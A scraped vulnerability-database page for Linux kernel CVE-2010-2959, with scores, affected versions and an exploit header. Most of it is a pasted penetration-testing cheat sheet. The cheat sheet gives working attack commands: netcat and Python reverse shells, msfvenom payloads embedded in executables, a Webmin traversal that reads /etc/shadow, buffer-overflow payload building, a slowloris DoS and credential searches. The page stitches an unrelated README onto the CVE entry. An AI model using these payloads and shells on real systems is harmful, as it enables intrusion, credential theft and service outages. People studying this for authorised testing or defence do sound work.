7.2
CVSSv2

CVE-2010-2959

Published: 08/09/2010 Updated: 19/03/2012
CVSS v2 Base Score: 7.2 | Impact Score: 10 | Exploitability Score: 3.9
VMScore: 738
Vector: AV:L/AC:L/Au:N/C:C/I:C/A:C

Vulnerability Summary

Integer overflow in net/can/bcm.c in the Controller Area Network (CAN) implementation in the Linux kernel prior to 2.6.27.53, 2.6.32.x prior to 2.6.32.21, 2.6.34.x prior to 2.6.34.6, and 2.6.35.x prior to 2.6.35.4 allows malicious users to execute arbitrary code or cause a denial of service (system crash) via crafted CAN traffic.

Vulnerability Trend

Affected Products

Vendor Product Versions
LinuxLinux Kernel2.6.0, 2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.6.6, 2.6.7, 2.6.8, 2.6.8.1, 2.6.9, 2.6.10, 2.6.11, 2.6.11.1, 2.6.11.2, 2.6.11.3, 2.6.11.4, 2.6.11.5, 2.6.11.6, 2.6.11.7, 2.6.11.8, 2.6.11.9, 2.6.11.10, 2.6.11.11, 2.6.11.12, 2.6.12, 2.6.12.1, 2.6.12.2, 2.6.12.3, 2.6.12.4, 2.6.12.5, 2.6.12.6, 2.6.13, 2.6.13.1, 2.6.13.2, 2.6.13.3, 2.6.13.4, 2.6.13.5, 2.6.14, 2.6.14.1, 2.6.14.2, 2.6.14.3, 2.6.14.4, 2.6.14.5, 2.6.14.6, 2.6.14.7, 2.6.15, 2.6.15.1, 2.6.15.2, 2.6.15.3, 2.6.15.4, 2.6.15.5, 2.6.15.6, 2.6.15.7, 2.6.16, 2.6.16.1, 2.6.16.2, 2.6.16.3, 2.6.16.4, 2.6.16.5, 2.6.16.6, 2.6.16.7, 2.6.16.8, 2.6.16.9, 2.6.16.10, 2.6.16.11, 2.6.16.12, 2.6.16.13, 2.6.16.14, 2.6.16.15, 2.6.16.16, 2.6.16.17, 2.6.16.18, 2.6.16.19, 2.6.16.20, 2.6.16.21, 2.6.16.22, 2.6.16.23, 2.6.16.24, 2.6.16.25, 2.6.16.26, 2.6.16.27, 2.6.16.28, 2.6.16.29, 2.6.16.30, 2.6.16.31, 2.6.16.32, 2.6.16.33, 2.6.16.34, 2.6.16.35, 2.6.16.36, 2.6.16.37, 2.6.16.38, 2.6.16.39, 2.6.16.40, 2.6.16.41, 2.6.16.42, 2.6.16.43, 2.6.16.44, 2.6.16.45, 2.6.16.46, 2.6.16.47, 2.6.16.48, 2.6.16.49, 2.6.16.50, 2.6.16.51, 2.6.16.52, 2.6.16.53, 2.6.16.54, 2.6.16.55, 2.6.16.56, 2.6.16.57, 2.6.16.58, 2.6.16.59, 2.6.16.60, 2.6.16.61, 2.6.16.62, 2.6.17, 2.6.17.1, 2.6.17.2, 2.6.17.3, 2.6.17.4, 2.6.17.5, 2.6.17.6, 2.6.17.7, 2.6.17.8, 2.6.17.9, 2.6.17.10, 2.6.17.11, 2.6.17.12, 2.6.17.13, 2.6.17.14, 2.6.18, 2.6.18.1, 2.6.18.2, 2.6.18.3, 2.6.18.4, 2.6.18.5, 2.6.18.6, 2.6.18.7, 2.6.18.8, 2.6.19, 2.6.19.1, 2.6.19.2, 2.6.19.3, 2.6.19.4, 2.6.19.5, 2.6.19.6, 2.6.19.7, 2.6.20, 2.6.20.1, 2.6.20.2, 2.6.20.3, 2.6.20.4, 2.6.20.5, 2.6.20.6, 2.6.20.7, 2.6.20.8, 2.6.20.9, 2.6.20.10, 2.6.20.11, 2.6.20.12, 2.6.20.13, 2.6.20.14, 2.6.20.15, 2.6.20.16, 2.6.20.17, 2.6.20.18, 2.6.20.19, 2.6.20.20, 2.6.20.21, 2.6.21, 2.6.21.1, 2.6.21.2, 2.6.21.3, 2.6.21.4, 2.6.21.5, 2.6.21.6, 2.6.21.7, 2.6.22, 2.6.22.1, 2.6.22.2, 2.6.22.3, 2.6.22.4, 2.6.22.5, 2.6.22.6, 2.6.22.7, 2.6.22.8, 2.6.22.9, 2.6.22.10, 2.6.22.11, 2.6.22.12, 2.6.22.13, 2.6.22.14, 2.6.22.15, 2.6.22.16, 2.6.22.17, 2.6.22.18, 2.6.22.19, 2.6.22.20, 2.6.22.21, 2.6.22.22, 2.6.23, 2.6.23.1, 2.6.23.2, 2.6.23.3, 2.6.23.4, 2.6.23.5, 2.6.23.6, 2.6.23.7, 2.6.23.8, 2.6.23.9, 2.6.23.10, 2.6.23.11, 2.6.23.12, 2.6.23.13, 2.6.23.14, 2.6.23.15, 2.6.23.16, 2.6.23.17, 2.6.24, 2.6.24.1, 2.6.24.2, 2.6.24.3, 2.6.24.4, 2.6.24.5, 2.6.24.6, 2.6.24.7, 2.6.25, 2.6.25.1, 2.6.25.2, 2.6.25.3, 2.6.25.4, 2.6.25.5, 2.6.25.6, 2.6.25.7, 2.6.25.8, 2.6.25.9, 2.6.25.10, 2.6.25.11, 2.6.25.12, 2.6.25.13, 2.6.25.14, 2.6.25.15, 2.6.25.16, 2.6.25.17, 2.6.25.18, 2.6.25.19, 2.6.25.20, 2.6.26, 2.6.26.1, 2.6.26.2, 2.6.26.3, 2.6.26.4, 2.6.26.5, 2.6.26.6, 2.6.26.7, 2.6.26.8, 2.6.27.1, 2.6.27.2, 2.6.27.3, 2.6.27.4, 2.6.27.5, 2.6.27.6, 2.6.27.7, 2.6.27.8, 2.6.27.9, 2.6.27.10, 2.6.27.11, 2.6.27.12, 2.6.27.13, 2.6.27.14, 2.6.27.15, 2.6.27.16, 2.6.27.17, 2.6.27.18, 2.6.27.19, 2.6.27.20, 2.6.27.21, 2.6.27.22, 2.6.27.23, 2.6.27.24, 2.6.27.25, 2.6.27.26, 2.6.27.27, 2.6.27.28, 2.6.27.29, 2.6.27.30, 2.6.27.31, 2.6.27.32, 2.6.27.33, 2.6.27.34, 2.6.27.35, 2.6.27.36, 2.6.27.37, 2.6.27.38, 2.6.27.39, 2.6.27.40, 2.6.27.41, 2.6.27.42, 2.6.27.43, 2.6.27.44, 2.6.27.45, 2.6.27.51, 2.6.27.52, 2.6.32, 2.6.32.1, 2.6.32.2, 2.6.32.3, 2.6.32.4, 2.6.32.5, 2.6.32.6, 2.6.32.7, 2.6.32.8, 2.6.32.9, 2.6.32.10, 2.6.32.11, 2.6.32.12, 2.6.32.13, 2.6.32.14, 2.6.32.15, 2.6.32.16, 2.6.32.17, 2.6.32.18, 2.6.32.19, 2.6.32.20, 2.6.34, 2.6.34.1, 2.6.34.2, 2.6.34.3, 2.6.34.4, 2.6.34.5, 2.6.35, 2.6.35.1, 2.6.35.2, 2.6.35.3

Vendor Advisories

This update provides a fix for the Linux kernel when using Xen ...
The Linux kernel could be made to crash or run programs as root ...
Several vulnerabilities have been discovered in the Linux kernel that may lead to a denial of service or privilege escalation The Common Vulnerabilities and Exposures project identifies the following problems: CVE-2009-4895 Kyle Bader reported an issue in the tty subsystem that allows local users to create a denial of service (NULL pointe ...

Exploits

/* * i-CAN-haz-MODHARDENc * * Linux Kernel < 2636-rc1 CAN BCM Privilege Escalation Exploit * Jon Oberheide <jon@oberheideorg> * jonoberheideorg * * Information: * * cvemitreorg/cgi-bin/cvenamecgi?name=CVE-2010-2959 * * Ben Hawkes discovered an integer overflow in the Controller Area Network * (CAN) ...

Mailing Lists

Linux Kernel versions prior to 2636-rc1 CAN BCM privilege escalation exploit ...

Github Repositories

master 1 branch 0 tags Go to file Code Clone with HTTPS Use Git or checkout with SVN using the web URL. Download ZIP Launching GitHub Desktop If nothing happens, download GitHub Desktop and try again. Go back Launching GitHub Desktop If nothing happens, download GitHub Desktop and try again. Go back Launching Xcode If nothing happens, download Xcode and try again. Go back Launching Visual Studio If nothing happens, download the GitHub extension for Visual Studio and try again. Go back Latest commit Raavan353 Update README.md … 1363025 1 minute ago Update README.md 1363025 Git stats 2 commits Files Permalink Failed to load latest commit information. Type Name Latest commit message Commit time README.md Update README.md 1 minute ago View code README.md Pentest-notes Table of Contents Kali Linux Information Gathering & Vulnerability Scanning Passive Information Gathering Active Information Gathering Port Scanning Enumeration HTTP Enumeration Buffer Overflows and Exploits Shells File Transfers Privilege Escalation Linux Privilege Escalation Windows Privilege Escalation Client, Web and Password Attacks Client Attacks Web Attacks File Inclusion Vulnerabilities LFI/RFI Database Vulnerabilities Password Attacks Password Hash Attacks Networking, Pivoting and Tunneling The Metasploit Framework Bypassing Antivirus Software Kali Linux Set the Target IP Address to the $ip system variable export ip=192.168.1.100 Find the location of a file locate sbd.exe Search through directories in the $PATH environment variable which sbd Find a search for a file that contains a specific string in it’s name: find / -name sbd\* Show active internet connections netstat -lntp Change Password passwd Verify a service is running and listening netstat -antp |grep apache Start a service systemctl start ssh systemctl start apache2 Have a service start at boot systemctl enable ssh Stop a service systemctl stop ssh Unzip a gz file gunzip access.log.gz Unzip a tar.gz file tar -xzvf file.tar.gz Search command history history | grep phrase_to_search_for Download a webpage wget http://www.cisco.com Open a webpage curl http://www.cisco.com String manipulation Count number of lines in file wc index.html Get the start or end of a file head index.html tail index.html Extract all the lines that contain a string grep "href=" index.html Cut a string by a delimiter, filter results then sort grep "href=" index.html | cut -d "/" -f 3 | grep "\\." | cut -d '"' -f 1 | sort -u Using Grep and regular expressions and output to a file cat index.html | grep -o 'http://\[^"\]\*' | cut -d "/" -f 3 | sort –u > list.txt Use a bash loop to find the IP address behind each host for url in $(cat list.txt); do host $url; done Collect all the IP Addresses from a log file and sort by frequency cat access.log | cut -d " " -f 1 | sort | uniq -c | sort -urn Decoding using Kali Decode Base64 Encoded Values echo -n "QWxhZGRpbjpvcGVuIHNlc2FtZQ==" | base64 --decode Decode Hexidecimal Encoded Values echo -n "46 4c 34 36 5f 33 3a 32 396472796 63637756 8656874" | xxd -r -ps Netcat - Read and write TCP and UDP Packets Download Netcat for Windows (handy for creating reverse shells and transfering files on windows systems): https://joncraton.org/blog/46/netcat-for-windows/ Connect to a POP3 mail server nc -nv $ip 110 Listen on TCP/UDP port nc -nlvp 4444 Connect to a netcat port nc -nv $ip 4444 Send a file using netcat nc -nv $ip 4444 < /usr/share/windows-binaries/wget.exe Receive a file using netcat nc -nlvp 4444 > incoming.exe Some OSs (OpenBSD) will use nc.traditional rather than nc so watch out for that... whereis nc nc: /bin/nc.traditional /usr/share/man/man1/nc.1.gz /bin/nc.traditional -e /bin/bash 1.2.3.4 4444 Create a reverse shell with Ncat using cmd.exe on Windows nc.exe -nlvp 4444 -e cmd.exe or nc.exe -nv <Remote IP> <Remote Port> -e cmd.exe Create a reverse shell with Ncat using bash on Linux nc -nv $ip 4444 -e /bin/bash Netcat for Banner Grabbing: echo "" | nc -nv -w1 <IP Address> <Ports> Ncat - Netcat for Nmap project which provides more security avoid IDS Reverse shell from windows using cmd.exe using ssl ncat --exec cmd.exe --allow $ip -vnl 4444 --ssl Listen on port 4444 using ssl ncat -v $ip 4444 --ssl Wireshark Show only SMTP (port 25) and ICMP traffic: tcp.port eq 25 or icmp Show only traffic in the LAN (192.168.x.x), between workstations and servers -- no Internet: ip.src==192.168.0.0/16 and ip.dst==192.168.0.0/16 Filter by a protocol ( e.g. SIP ) and filter out unwanted IPs: ip.src != xxx.xxx.xxx.xxx && ip.dst != xxx.xxx.xxx.xxx && sip Some commands are equal ip.addr == xxx.xxx.xxx.xxx Equals ip.src == xxx.xxx.xxx.xxx or ip.dst == xxx.xxx.xxx.xxx ip.addr != xxx.xxx.xxx.xxx Equals ip.src != xxx.xxx.xxx.xxx or ip.dst != xxx.xxx.xxx.xxx Tcpdump Display a pcap file tcpdump -r passwordz.pcap Display ips and filter and sort tcpdump -n -r passwordz.pcap | awk -F" " '{print $3}' | sort -u | head Grab a packet capture on port 80 tcpdump tcp port 80 -w output.pcap -i eth0 Check for ACK or PSH flag set in a TCP packet tcpdump -A -n 'tcp[13] = 24' -r passwordz.pcap IPTables Deny traffic to ports except for Local Loopback iptables -A INPUT -p tcp --destination-port 13327 ! -d $ip -j DROP iptables -A INPUT -p tcp --destination-port 9991 ! -d $ip -j DROP Clear ALL IPTables firewall rules iptables -P INPUT ACCEPT iptables -P FORWARD ACCEPT iptables -P OUTPUT ACCEPT iptables -t nat -F iptables -t mangle -F iptables -F iptables -X iptables -t raw -F iptables -t raw -X Information Gathering & Vulnerability Scanning Passive Information Gathering Google Hacking Google search to find website sub domains site:microsoft.com Google filetype, and intitle intitle:"netbotz appliance" "OK" -filetype:pdf Google inurl inurl:"level/15/sexec/-/show" Google Hacking Database: https://www.exploit-db.com/google-hacking-database/ SSL Certificate Testing https://www.ssllabs.com/ssltest/analyze.html Email Harvesting Simply Email git clone https://github.com/killswitch-GUI/SimplyEmail.git ./SimplyEmail.py -all -e TARGET-DOMAIN Netcraft Determine the operating system and tools used to build a site https://searchdns.netcraft.com/ Whois Enumeration whois domain-name-here.com whois $ip Banner Grabbing nc -v $ip 25 telnet $ip 25 nc TARGET-IP 80 Recon-ng - full-featured web reconnaissance framework written in Python cd /opt; git clone https://LaNMaSteR53@bitbucket.org/LaNMaSteR53/recon-ng.git cd /opt/recon-ng ./recon-ng show modules help Active Information Gathering Port Scanning Subnet Reference Table / Addresses Hosts Netmask Amount of a Class C /30 4 2 255.255.255.252 1/64 /29 8 6 255.255.255.248 1/32 /28 16 14 255.255.255.240 1/16 /27 32 30 255.255.255.224 1/8 /26 64 62 255.255.255.192 1/4 /25 128 126 255.255.255.128 1/2 /24 256 254 255.255.255.0 1 /23 512 510 255.255.254.0 2 /22 1024 1022 255.255.252.0 4 /21 2048 2046 255.255.248.0 8 /20 4096 4094 255.255.240.0 16 /19 8192 8190 255.255.224.0 32 /18 16384 16382 255.255.192.0 64 /17 32768 32766 255.255.128.0 128 /16 65536 65534 255.255.0.0 256 Set the ip address as a varble export ip=192.168.1.100 nmap -A -T4 -p- $ip Netcat port Scanning nc -nvv -w 1 -z $ip 3388-3390 Discover active IPs usign ARP on the network: arp-scan $ip/24 Discover who else is on the network netdiscover Discover IP Mac and Mac vendors from ARP netdiscover -r $ip/24 Nmap stealth scan using SYN nmap -sS $ip Nmap stealth scan using FIN nmap -sF $ip Nmap Banner Grabbing nmap -sV -sT $ip Nmap OS Fingerprinting nmap -O $ip Nmap Regular Scan: nmap $ip/24 Enumeration Scan nmap -p 1-65535 -sV -sS -A -T4 $ip/24 -oN nmap.txt Enumeration Scan All Ports TCP / UDP and output to a txt file nmap -oN nmap2.txt -v -sU -sS -p- -A -T4 $ip Nmap output to a file: nmap -oN nmap.txt -p 1-65535 -sV -sS -A -T4 $ip/24 Quick Scan: nmap -T4 -F $ip/24 Quick Scan Plus: nmap -sV -T4 -O -F --version-light $ip/24 Quick traceroute nmap -sn --traceroute $ip All TCP and UDP Ports nmap -v -sU -sS -p- -A -T4 $ip Intense Scan: nmap -T4 -A -v $ip Intense Scan Plus UDP nmap -sS -sU -T4 -A -v $ip/24 Intense Scan ALL TCP Ports nmap -p 1-65535 -T4 -A -v $ip/24 Intense Scan - No Ping nmap -T4 -A -v -Pn $ip/24 Ping scan nmap -sn $ip/24 Slow Comprehensive Scan nmap -sS -sU -T4 -A -v -PE -PP -PS80,443 -PA3389 -PU40125 -PY -g 53 --script "default or (discovery and safe)" $ip/24 Scan with Active connect in order to weed out any spoofed ports designed to troll you nmap -p1-65535 -A -T5 -sT $ip Enumeration DNS Enumeration NMAP DNS Hostnames Lookup nmap -F --dns-server <dns server ip> <target ip range> Host Lookup host -t ns megacorpone.com Reverse Lookup Brute Force - find domains in the same range for ip in $(seq 155 190);do host 50.7.67.$ip;done |grep -v "not found" Perform DNS IP Lookup dig a domain-name-here.com @nameserver Perform MX Record Lookup dig mx domain-name-here.com @nameserver Perform Zone Transfer with DIG dig axfr domain-name-here.com @nameserver DNS Zone Transfers Windows DNS zone transfer nslookup -> set type=any -> ls -d blah.com Linux DNS zone transfer dig axfr blah.com @ns1.blah.com Dnsrecon DNS Brute Force dnsrecon -d TARGET -D /usr/share/wordlists/dnsmap.txt -t std --xml ouput.xml Dnsrecon DNS List of megacorp dnsrecon -d megacorpone.com -t axfr DNSEnum dnsenum zonetransfer.me NMap Enumeration Script List: NMap Discovery https://nmap.org/nsedoc/categories/discovery.html Nmap port version detection MAXIMUM power nmap -vvv -A --reason --script="+(safe or default) and not broadcast" -p <port> <host> NFS (Network File System) Enumeration Show Mountable NFS Shares nmap -sV --script=nfs-showmount $ip RPC (Remote Procedure Call) Enumeration Connect to an RPC share without a username and password and enumerate privledges rpcclient --user="" --command=enumprivs -N $ip Connect to an RPC share with a username and enumerate privledges rpcclient --user="<Username>" --command=enumprivs $ip SMB Enumeration SMB OS Discovery nmap $ip --script smb-os-discovery.nse Nmap port scan nmap -v -p 139,445 -oG smb.txt $ip-254 Netbios Information Scanning nbtscan -r $ip/24 Nmap find exposed Netbios servers nmap -sU --script nbstat.nse -p 137 $ip Nmap all SMB scripts scan nmap -sV -Pn -vv -p 445 --script='(smb*) and not (brute or broadcast or dos or external or fuzzer)' --script-args=unsafe=1 $ip Nmap all SMB scripts authenticated scan nmap -sV -Pn -vv -p 445 --script-args smbuser=<username>,smbpass=<password> --script='(smb*) and not (brute or broadcast or dos or external or fuzzer)' --script-args=unsafe=1 $ip SMB Enumeration Tools nmblookup -A $ip smbclient //MOUNT/share -I $ip -N rpcclient -U "" $ip enum4linux $ip enum4linux -a $ip SMB Finger Printing smbclient -L //$ip Nmap Scan for Open SMB Shares nmap -T4 -v -oA shares --script smb-enum-shares --script-args smbuser=username,smbpass=password -p445 192.168.10.0/24 Nmap scans for vulnerable SMB Servers nmap -v -p 445 --script=smb-check-vulns --script-args=unsafe=1 $ip Nmap List all SMB scripts installed ls -l /usr/share/nmap/scripts/smb* Enumerate SMB Users nmap -sU -sS --script=smb-enum-users -p U:137,T:139 $ip-14 OR python /usr/share/doc/python-impacket-doc/examples /samrdump.py $ip RID Cycling - Null Sessions ridenum.py $ip 500 50000 dict.txt Manual Null Session Testing Windows: net use \\$ip\IPC$ "" /u:"" Linux: smbclient -L //$ip SMTP Enumeration - Mail Severs Verify SMTP port using Netcat nc -nv $ip 25 POP3 Enumeration - Reading other peoples mail - You may find usernames and passwords for email accounts, so here is how to check the mail using Telnet root@kali:~# telnet $ip 110 +OK beta POP3 server (JAMES POP3 Server 2.3.2) ready USER billydean +OK PASS password +OK Welcome billydean list +OK 2 1807 1 786 2 1021 retr 1 +OK Message follows From: jamesbrown@motown.com Dear Billy Dean, Here is your login for remote desktop ... try not to forget it this time! username: billydean password: PA$$W0RD!Z SNMP Enumeration -Simple Network Management Protocol Fix SNMP output values so they are human readable apt-get install snmp-mibs-downloader download-mibs echo "" > /etc/snmp/snmp.conf SNMP Enumeration Commands snmpcheck -t $ip -c public snmpwalk -c public -v1 $ip 1| grep hrSWRunName|cut -d\* \* -f snmpenum -t $ip onesixtyone -c names -i hosts SNMPv3 Enumeration nmap -sV -p 161 --script=snmp-info $ip/24 Automate the username enumeration process for SNMPv3: apt-get install snmp snmp-mibs-downloader wget https://raw.githubusercontent.com/raesene/TestingScripts/master/snmpv3enum.rb SNMP Default Credentials /usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt MS SQL Server Enumeration Nmap Information Gathering nmap -p 1433 --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER $ip Webmin and miniserv/0.01 Enumeration - Port 10000 Test for LFI & file disclosure vulnerability by grabbing /etc/passwd `curl http://$ip:10000//unauthenticated/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/etc/passwd` Test to see if webmin is running as root by grabbing /etc/shadow `curl http://$ip:10000//unauthenticated/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/etc/shadow` Linux OS Enumeration List all SUID files find / -perm -4000 2>/dev/null Determine the current version of Linux cat /etc/issue Determine more information about the environment uname -a List processes running ps -xaf List the allowed (and forbidden) commands for the invoking use sudo -l List iptables rules iptables --table nat --list iptables -vL -t filter iptables -vL -t nat iptables -vL -t mangle iptables -vL -t raw iptables -vL -t security Windows OS Enumeration net config Workstation systeminfo | findstr /B /C:"OS Name" /C:"OS Version" hostname net users ipconfig /all route print arp -A netstat -ano netsh firewall show state netsh firewall show config schtasks /query /fo LIST /v tasklist /SVC net start DRIVERQUERY reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated dir /s pass == cred == vnc == .config findstr /si password *.xml *.ini *.txt reg query HKLM /f password /t REG_SZ /s reg query HKCU /f password /t REG_SZ /s Vulnerability Scanning with Nmap Nmap Exploit Scripts https://nmap.org/nsedoc/categories/exploit.html Nmap search through vulnerability scripts cd /usr/share/nmap/scripts/ ls -l \*vuln\* Nmap search through Nmap Scripts for a specific keyword ls /usr/share/nmap/scripts/\* | grep ftp Scan for vulnerable exploits with nmap nmap --script exploit -Pn $ip NMap Auth Scripts https://nmap.org/nsedoc/categories/auth.html Nmap Vuln Scanning https://nmap.org/nsedoc/categories/vuln.html NMap DOS Scanning nmap --script dos -Pn $ip NMap Execute DOS Attack nmap --max-parallelism 750 -Pn --script http-slowloris --script-args http-slowloris.runforever=true Scan for coldfusion web vulnerabilities nmap -v -p 80 --script=http-vuln-cve2010-2861 $ip Anonymous FTP dump with Nmap nmap -v -p 21 --script=ftp-anon.nse $ip-254 SMB Security mode scan with Nmap nmap -v -p 21 --script=ftp-anon.nse $ip-254 File Enumeration Find UID 0 files root execution /usr/bin/find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \\; 2>/dev/null Get handy linux file system enumeration script (/var/tmp) wget https://highon.coffee/downloads/linux-local-enum.sh chmod +x ./linux-local-enum.sh ./linux-local-enum.sh Find executable files updated in August find / -executable -type f 2> /dev/null | egrep -v "^/bin|^/var|^/etc|^/usr" | xargs ls -lh | grep Aug Find a specific file on linux find /. -name suid\* Find all the strings in a file strings <filename> Determine the type of a file file <filename> HTTP Enumeration Search for folders with gobuster: gobuster -w /usr/share/wordlists/dirb/common.txt -u $ip OWasp DirBuster - Http folder enumeration - can take a dictionary file Dirb - Directory brute force finding using a dictionary file dirb http://$ip/ wordlist.dict dirb <http://vm/> Dirb against a proxy dirb [http://$ip/](http://172.16.0.19/) -p $ip:3129 Nikto nikto -h $ip HTTP Enumeration with NMAP nmap --script=http-enum -p80 -n $ip/24 Nmap Check the server methods nmap --script http-methods --script-args http-methods.url-path='/test' $ip Get Options available from web server curl -vX OPTIONS vm/test Uniscan directory finder: uniscan -qweds -u <http://vm/> Wfuzz - The web brute forcer wfuzz -c -w /usr/share/wfuzz/wordlist/general/megabeast.txt $ip:60080/?FUZZ=test wfuzz -c --hw 114 -w /usr/share/wfuzz/wordlist/general/megabeast.txt $ip:60080/?page=FUZZ wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt "$ip:60080/?page=mailer&mail=FUZZ" wfuzz -c -w /usr/share/seclists/Discovery/Web_Content/common.txt --hc 404 $ip/FUZZ Recurse level 3 wfuzz -c -w /usr/share/seclists/Discovery/Web_Content/common.txt -R 3 --sc 200 $ip/FUZZ Open a service using a port knock (Secured with Knockd) for x in 7000 8000 9000; do nmap -Pn --host_timeout 201 --max-retries 0 -p $x server_ip_address; done WordPress Scan - Wordpress security scanner wpscan --url $ip/blog --proxy $ip:3129 RSH Enumeration - Unencrypted file transfer system auxiliary/scanner/rservices/rsh_login Finger Enumeration finger @$ip finger batman@$ip TLS & SSL Testing ./testssl.sh -e -E -f -p -y -Y -S -P -c -H -U $ip | aha > OUTPUT-FILE.html Proxy Enumeration (useful for open proxies) nikto -useproxy http://$ip:3128 -h $ip Steganography apt-get install steghide steghide extract -sf picture.jpg steghide info picture.jpg apt-get install stegosuite The OpenVAS Vulnerability Scanner apt-get update apt-get install openvas openvas-setup netstat -tulpn Login at: https://$ip:9392 Buffer Overflows and Exploits DEP and ASLR - Data Execution Prevention (DEP) and Address Space Layout Randomization (ASLR) Nmap Fuzzers: NMap Fuzzer List https://nmap.org/nsedoc/categories/fuzzer.html NMap HTTP Form Fuzzer nmap --script http-form-fuzzer --script-args 'http-form-fuzzer.targets={1={path=/},2={path=/register.html}}' -p 80 $ip Nmap DNS Fuzzer nmap --script dns-fuzz --script-args timelimit=2h $ip -d MSFvenom https://www.offensive-security.com/metasploit-unleashed/msfvenom/ Windows Buffer Overflows Controlling EIP locate pattern_create pattern_create.rb -l 2700 locate pattern_offset pattern_offset.rb -q 39694438 Verify exact location of EIP - [*] Exact match at offset 2606 buffer = "A" \* 2606 + "B" \* 4 + "C" \* 90 Check for “Bad Charactersâ€� - Run multiple times 0x00 - 0xFF Use Mona to determine a module that is unprotected Bypass DEP if present by finding a Memory Location with Read and Execute access for JMP ESP Use NASM to determine the HEX code for a JMP ESP instruction /usr/share/metasploit-framework/tools/exploit/nasm_shell.rb JMP ESP 00000000 FFE4 jmp esp Run Mona in immunity log window to find (FFE4) XEF command !mona find -s "\xff\xe4" -m slmfc.dll found at 0x5f4a358f - Flip around for little endian format buffer = "A" * 2606 + "\x8f\x35\x4a\x5f" + "C" * 390 MSFVenom to create payload msfvenom -p windows/shell_reverse_tcp LHOST=$ip LPORT=443 -f c –e x86/shikata_ga_nai -b "\x00\x0a\x0d" Final Payload with NOP slide buffer="A"*2606 + "\x8f\x35\x4a\x5f" + "\x90" * 8 + shellcode Create a PE Reverse Shell msfvenom -p windows/shell_reverse_tcp LHOST=$ip LPORT=4444 -f exe -o shell_reverse.exe Create a PE Reverse Shell and Encode 9 times with Shikata_ga_nai msfvenom -p windows/shell_reverse_tcp LHOST=$ip LPORT=4444 -f exe -e x86/shikata_ga_nai -i 9 -o shell_reverse_msf_encoded.exe Create a PE reverse shell and embed it into an existing executable msfvenom -p windows/shell_reverse_tcp LHOST=$ip LPORT=4444 -f exe -e x86/shikata_ga_nai -i 9 -x /usr/share/windows-binaries/plink.exe -o shell_reverse_msf_encoded_embedded.exe Create a PE Reverse HTTPS shell msfvenom -p windows/meterpreter/reverse_https LHOST=$ip LPORT=443 -f exe -o met_https_reverse.exe Linux Buffer Overflows Run Evans Debugger against an app edb --run /usr/games/crossfire/bin/crossfire ESP register points toward the end of our CBuffer add eax,12 jmp eax 83C00C add eax,byte +0xc FFE0 jmp eax Check for “Bad Charactersâ€� Process of elimination - Run multiple times 0x00 - 0xFF Find JMP ESP address "\x97\x45\x13\x08" # Found at Address 08134597 crash = "\x41" * 4368 + "\x97\x45\x13\x08" + "\x83\xc0\x0c\xff\xe0\x90\x90" msfvenom -p linux/x86/shell_bind_tcp LPORT=4444 -f c -b "\x00\x0a\x0d\x20" –e x86/shikata_ga_nai Connect to the shell with netcat: nc -v $ip 4444 Shells Netcat Shell Listener nc -nlvp 4444 Spawning a TTY Shell - Break out of Jail or limited shell You should almost always upgrade your shell after taking control of an apache or www user. (For example when you encounter an error message when trying to run an exploit sh: no job control in this shell ) (hint: sudo -l to see what you can run) You may encounter limited shells that use rbash and only allow you to execute a single command per session. You can overcome this by executing an SSH shell to your localhost: ssh user@$ip nc $localip 4444 -e /bin/sh enter user's password python -c 'import pty; pty.spawn("/bin/sh")' export TERM=linux python -c 'import pty; pty.spawn("/bin/sh")' python -c 'import socket,subprocess,os;s=socket.socket(socket.AF\_INET,socket.SOCK\_STREAM); s.connect(("$ip",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(\["/bin/sh","-i"\]);' echo os.system('/bin/bash') /bin/sh -i perl —e 'exec "/bin/sh";' perl: exec "/bin/sh"; ruby: exec "/bin/sh" lua: os.execute('/bin/sh') From within IRB: exec "/bin/sh" From within vi: :!bash or :set shell=/bin/bash:shell From within vim ':!bash': From within nmap: !sh From within tcpdump echo $’id\\n/bin/netcat $ip 443 –e /bin/bash’ > /tmp/.test chmod +x /tmp/.test sudo tcpdump –ln –I eth- -w /dev/null –W 1 –G 1 –z /tmp/.tst –Z root From busybox /bin/busybox telnetd -|/bin/sh -p9999 Pen test monkey PHP reverse shell http://pentestmonkey.net/tools/web-shells/php-reverse-shel php-findsock-shell - turns PHP port 80 into an interactive shell http://pentestmonkey.net/tools/web-shells/php-findsock-shell Perl Reverse Shell http://pentestmonkey.net/tools/web-shells/perl-reverse-shell PHP powered web browser Shell b374k with file upload etc. https://github.com/b374k/b374k Windows reverse shell - PowerSploit’s Invoke-Shellcode script and inject a Meterpreter shell https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-Shellcode.ps1 Web Backdoors from Fuzzdb https://github.com/fuzzdb-project/fuzzdb/tree/master/web-backdoors Creating Meterpreter Shells with MSFVenom - http://www.securityunlocked.com/2016/01/02/network-security-pentesting/most-useful-msfvenom-payloads/ Linux msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf Windows msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe Mac msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho 